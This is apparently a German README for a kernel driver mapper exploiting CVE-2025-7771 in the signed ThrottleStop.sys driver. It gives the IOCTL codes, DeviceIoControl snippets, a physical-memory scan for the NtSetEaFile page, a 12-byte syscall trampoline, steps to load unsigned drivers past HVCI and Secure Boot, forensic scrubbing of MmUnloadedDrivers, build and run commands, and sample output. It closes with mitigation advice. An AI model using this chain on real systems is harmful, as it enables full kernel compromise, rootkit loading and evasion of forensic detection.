🔓 ThrottleStop.sys Kernel-Exploit — HVCI-kompatibler Physical-Memory-Mapper

CVE-2025-7771 — Beliebiger physischer Speicher Lese-/Schreibzugriff über ThrottleStop.sys IOCTLs

⚠️ Haftungsausschluss

Dieses Projekt wird ausschließlich zu Bildungs- und Forschungszwecken veröffentlicht. Ziel ist es zu demonstrieren, wie ein signierter, vertrauenswürdiger Kernel-Treiber für eine lokale Privilegienausweitung (LPE) von Administrator auf SYSTEM/Kernel verwendet werden kann, wodurch moderne Windows-Sicherheitsfunktionen einschließlich HVCI (Hypervisor-Enforced Code Integrity) und Secure Boot effektiv umgangen werden.

Verwenden Sie dieses Tool nicht für böswillige Zwecke. Der Autor übernimmt keine Verantwortung für Missbrauch.

📋 Inhaltsverzeichnis

• Zusammenfassung der Schwachstelle
• Betroffene Software
• Technische Analyse
  • Angreifbare IOCTLs
  • Ursache
• Ausnutzungskette
  • Schritt 1 — Laden des angreifbaren Treibers
  • Schritt 2 — Physische Speicherprimitive
  • Schritt 3 — Auffinden der Syscall-Seite
  • Schritt 4 — Syscall-Hooking über physischen Schreibzugriff
  • Schritt 5 — Beliebige Kernel-Code-Ausführung
  • Schritt 6 — Forensische Bereinigung
• Warum dies HVCI umgeht
• Auswirkungsbewertung
• Build & Nutzung
• Empfehlungen zur Schadensbegrenzung
• Referenzen

Zusammenfassung der Schwachstelle

Betroffene Software

• ThrottleStop — alle Versionen, die ThrottleStop.sys mit Physical-Memory-Mapping IOCTLs ausliefern
• Windows 10 1903 – 22H2 (x64)
• Windows 11 21H2 – 24H2 (x64), einschließlich Builds mit aktiviertem HVCI
• Getestet auf: Windows 11 26100.x (24H2) mit Secure Boot + HVCI

Technische Analyse

Angreifbare IOCTLs

Der Kernel-Treiber ThrottleStop.sys stellt ein Gerät (\\.\ThrottleStop) bereit, das für jeden lokalen Administrator zugänglich ist. Es implementiert zwei IOCTLs, die uneingeschränkten physischen Speicherzugriff bieten:

#define IOCTL_TS_READ_PHYS   0x80006498   // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // Write arbitrary physical address

Physischen Speicher lesen (0x80006498)

Input:  ULONG64 PhysicalAddress  (8 bytes)
Output: Data buffer              (1–8 bytes per call, determined by OutputBufferLength)

Der Treiber ruft MmMapIoSpace() auf, um die angeforderte physische Adresse in den virtuellen Kernelraum abzubilden, kopiert die Daten in den Ausgabepuffer und ruft dann MmUnmapIoSpace() auf. Es wird keine Validierung der physischen Adresse durchgeführt — jede Adresse im physischen Adressraum kann gelesen werden.

Physischen Speicher schreiben (0x8000649C)

Input:  ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
        InputBufferLength = 8 + DataSize
Output: None

Gleicher Mechanismus wie beim Lesen, schreibt jedoch benutzerbereitgestellte Daten an die gemappte physische Adresse. Auch hier keine Adress- oder Bereichsvalidierung.

Ursache

Der Treiber wurde entwickelt, um ThrottleStop (ein CPU-Undervolting/Drosselungs-Dienstprogramm) das direkte Lesen/Schreiben von MSRs und Hardware-Registern zu ermöglichen. Die physischen Speicher-IOCTLs wurden wahrscheinlich für den MMIO-Zugriff auf den PCI-Konfigurationsraum oder CPU-Temperatursensoren hinzugefügt, aber die Implementierung führt keine Grenzüberprüfungen durch:

1. ❌ Keine Prüfung, ob die physische Adresse zu MMIO oder RAM gehört
2. ❌ Keine Prüfung, ob die Adresse innerhalb des vom Aufrufer beabsichtigten Speicherbereichs liegt
3. ❌ Keine ACL-Einschränkung über die Anforderung von GENERIC_READ | GENERIC_WRITE Handle-Zugriff hinaus
4. ❌ Keine Whitelist erlaubter physischer Adressbereiche

Dies verwandelt einen legitimen Hardware-Dienstprogramm-Treiber in eine vollständige Kernel-Level Lese-/Schreibprimitive.

Ausnutzungskette

Die Ausnutzungskette führt von einem lokalen Administrator-Konto zur beliebigen Kernel-Code-Ausführung, wodurch effektiv eine SYSTEM-Level-Ring-0-Kontrolle erreicht wird.

Schritt 1 – Laden des angreifbaren Treibers

Der Mapper legt ThrottleStop.sys in %TEMP% ab, erstellt einen Dienst-Registrierungseintrag unter HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop und lädt ihn über NtLoadDriver():

// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);

// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

Hinweis: Da ThrottleStop.sys legitim signiert ist, wird es selbst mit aktiviertem HVCI/Secure Boot geladen. Die Windows-CI-Richtlinie vertraut dem Zertifikat.

Schritt 2 – Physische Speicherprimitive

Mit dem Gerätehandle kann der Exploit jede physische Adresse im System lesen/schreiben:

// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

Der Exploit kapselt diese in Hilfsfunktionen, die segmentierte Lese-/Schreiboperationen (1, 2, 4 oder 8 Bytes pro Aufruf) für Übertragungen beliebiger Länge handhaben.

Schritt 3 – Auffinden der Syscall-Seite

Um beliebige Kernel-Funktionen auszuführen, muss der Exploit die physische Adresse eines Kernel-Syscall-Handlers finden. Er zielt auf NtSetEaFile (einen selten überwachten Syscall):

1. RVA auflösen: Lade ntoskrnl.exe im Benutzermodus über LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), erhalte die RVA von NtSetEaFile
2. Offset berechnen: Da ntoskrnl mit 2MB großen Seiten abgebildet wird, ist der physische Offset der Funktion innerhalb einer 2MB-Seite = RVA & 0x1FFFFF
3. Physischen Speicher scannen: Die physischen Speicherbereiche aus der Registry enumerieren (HARDWARE\RESOURCEMAP\System Resources\Physical Memory), in 2MB-Schritten vorgehen und Bytes vergleichen:

for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // quick check
    {
        read_phys(candidate_pa, verify, 32);  // full verify
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // found it!
            // ... validate via PsGetProcessSectionBaseAddress
        }
    }
}

4. Validieren: Rufe den gehookten Syscall auf, um PsGetProcessSectionBaseAddress(current_pid) aufzurufen und zu überprüfen, ob die zurückgegebene Basis mit GetModuleHandle(NULL) übereinstimmt.

Schritt 4 – Syscall-Hooking über physischen Schreibzugriff

Sobald die physische Adresse von NtSetEaFile bekannt ist, installiert der Exploit einen 12-Byte-Trampolin direkt über physische Speicherschreibvorgänge:

; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3

// Install hook
unsigned char jmp_code[12] = {
    0x48, 0xB8,                           // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // <target address>
    0x50,                                 // push rax
    0xC3                                  // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);

// Trigger from usermode
NtSetEaFile(args...);  // → jumps to target_function in kernel!

// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);

Wichtige Erkenntnis: Das Schreiben auf die physische Seite umgeht HVCI's virtuelle Speicherschutzmechanismen. HVCI verhindert W+X-virtuelle Seiten, aber physische Speicherschreibvorgänge über MmMapIoSpace im Treiber gehen direkt in den RAM.

Schritt 5 – Beliebige Kernel-Code-Ausführung

Mit der Syscall-Hook-Primitive kann der Exploit jede Kernel-Funktion mit beliebigen Argumenten aufrufen:

// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
    POOL_FLAG_NON_PAGED_EXECUTE, size, tag);

// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);

// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);

Dies bildet effektiv einen unsignierten Treiber ab und führt ihn aus im Kernelspace — vollständige Privilegienausweitung.

Schritt 6 – Forensische Bereinigung

Nach dem Laden der Nutzlast beseitigt der Exploit alle Spuren:

Warum dies HVCI umgeht

HVCI (Hypervisor-Enforced Code Integrity) verhindert die Ausführung von unsigniertem Code im Kernelspace, indem es W^X (Write XOR Execute) auf Kernel-Virtualseiten durch Second Level Address Translation (SLAT/EPT) durchsetzt.

Dieser Exploit umgeht HVCI, weil:

1. Legitimer Treiber: ThrottleStop.sys ist ordnungsgemäß signiert und besteht die CI-Validierung, sodass es auch bei aktiviertem HVCI normal geladen wird.

2. Physisch statt virtuell: Die IOCTLs verwenden MmMapIoSpace(), das auf physischen Adressen operiert. HVCI's Schutzmechanismen werden auf der Ebene der virtuellen Seitentabellen und über EPT durchgesetzt, aber MmMapIoSpace erstellt eine neue virtuelle Zuordnung für die physische Seite mit entsprechenden Berechtigungen. Der Schreibvorgang auf die physische Seite der Syscall-Funktion ändert die RAM-Inhalte, auf die die bestehende virtuelle Zuordnung bereits zeigt.

3. Ausführbarer Pool: Der Exploit allokiert Speicher über ExAllocatePool2 mit POOL_FLAG_NON_PAGED_EXECUTE, was eine legitime, HVCI-zugelassene Methode ist, um ausführbaren Kernel-Speicher zu erhalten. Der Kernel selbst verwendet dies für JIT-kompilierten Code und bestimmte Pool-Zuordnungen.

4. Kein Laden unsignierter Treiber: Der Mapper ruft nie NtLoadDriver mit einem unsignierten Image auf. Stattdessen schreibt er die Nutzlast manuell in eine bereits ausführbare Kernel-Pool-Zuordnung und ruft deren Einstiegspunkt über den Syscall-Hook auf.

┌─────────────────────────────────────────────┐
│           Usermode (Admin)                  │
│                                             │
│  1. Load ThrottleStop.sys (signed, trusted) │
│  2. Open \\.\ThrottleStop device            │
│  3. Read/Write physical memory via IOCTLs   │
└──────────────┬──────────────────────────────┘
               │ DeviceIoControl
               ▼
┌─────────────────────────────────────────────┐
│       ThrottleStop.sys (Kernel)             │
│                                             │
│  MmMapIoSpace(PhysAddr) → memcpy → unmap   │
│  No validation, any physical address OK     │
└──────────────┬──────────────────────────────┘
               │ Physical Memory Write
               ▼
┌─────────────────────────────────────────────┐
│       NtSetEaFile Physical Page             │
│                                             │
│  Original bytes overwritten with:           │
│  mov rax, <payload>; push rax; ret         │
│                                             │
│  → Any usermode NtSetEaFile() call now      │
│    executes arbitrary kernel code           │
└──────────────┬──────────────────────────────┘
               │ Kernel Code Execution
               ▼
┌─────────────────────────────────────────────┐
│       Full Kernel Compromise                │
│                                             │
│  • ExAllocatePool2 (executable pool)        │
│  • Map unsigned driver into kernel memory   │
│  • Call DriverEntry → SYSTEM-level access   │
│  • Scrub all forensic artifacts             │
└─────────────────────────────────────────────┘

Auswirkungsbewertung

Build & Nutzung

Voraussetzungen

• Visual Studio 2022 mit C++ Desktop-Workload
• Windows SDK 10.0.26100.0+
• Administratorrechte auf dem Zielsystem

Build

git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build → x64 Release

Ausführen

# Basic usage — auto-scans physical memory for syscall page
mapper.exe payload_driver.sys

# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000

Ausgabe

[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done

Empfehlungen zur Schadensbegrenzung

Für Microsoft / Windows

1. Treiber-Blockliste: Fügen Sie ThrottleStop.sys-Hashes zur Microsoft Vulnerable Driver Blocklist hinzu
2. HVCI-Verbesserung: Blockieren Sie MmMapIoSpace-Aufrufe, die auf RAM-gestützte physische Adressen von nicht-whitelistierten Treibern abzielen
3. IOCTL-Überprüfung: Kennzeichnen Sie Treiber, die rohe physische Speicherprimitive während der WHQL-Zertifizierung bereitstellen

Für ThrottleStop-Entwickler

1. Entfernen Sie die physischen Speicher-IOCTLs — verwenden Sie MSR-spezifische IOCTLs (rdmsr/wrmsr) anstelle von rohem MmMapIoSpace
2. Implementieren Sie eine Adress-Whitelist — beschränken Sie MmMapIoSpace auf bekannte MMIO-Bereiche (PCI-BAR-Regionen, LAPIC usw.)
3. Fügen Sie ACL-Einschränkungen hinzu — beschränken Sie den Gerätezugriff auf die Token-SID der ThrottleStop-Anwendung

Für Systemadministratoren

1. WDAC-Richtlinie: Erstellen Sie eine benutzerdefinierte Windows Defender Application Control (WDAC)-Richtlinie, die ThrottleStop.sys anhand des Hashs blockiert
2. Treiberladungen überwachen: Alarmieren Sie bei ungewöhnlichen Kernel-Treiberladungen über Sysmon Ereignis-ID 6
3. Entfernen Sie ThrottleStop, wenn es nicht aktiv für die CPU-Verwaltung benötigt wird

🏆 Danksagungen & Anerkennungen

Referenzen

• Demoo1337/ThrottleStop — CVE-2025-7771 PoC — Ursprüngliche Schwachstellenforschung und Exploit
• physmeme — Physical Memory Exploit Framework (MIT-Lizenz, xerox/IDontCode)
• kdmapper — Kernel Driver Mapper
• Microsoft Vulnerable Driver Blocklist
• HVCI Design Overview — Microsoft
• MmMapIoSpace — Microsoft Docs

Lizenz

Dieses Projekt wird unter der MIT-Lizenz für Bildungs- und Forschungszwecke veröffentlicht. Das zugrundeliegende physmeme-Framework ist © 2020 xerox (MIT-Lizenz).

🔬 Verantwortungsvolle Offenlegung: Diese Schwachstelle wurde von Demoo1337 entdeckt und dem Anbieter gemeldet. Dieses Repository dient als Dokumentation für die Sicherheitsforschungsgemeinschaft.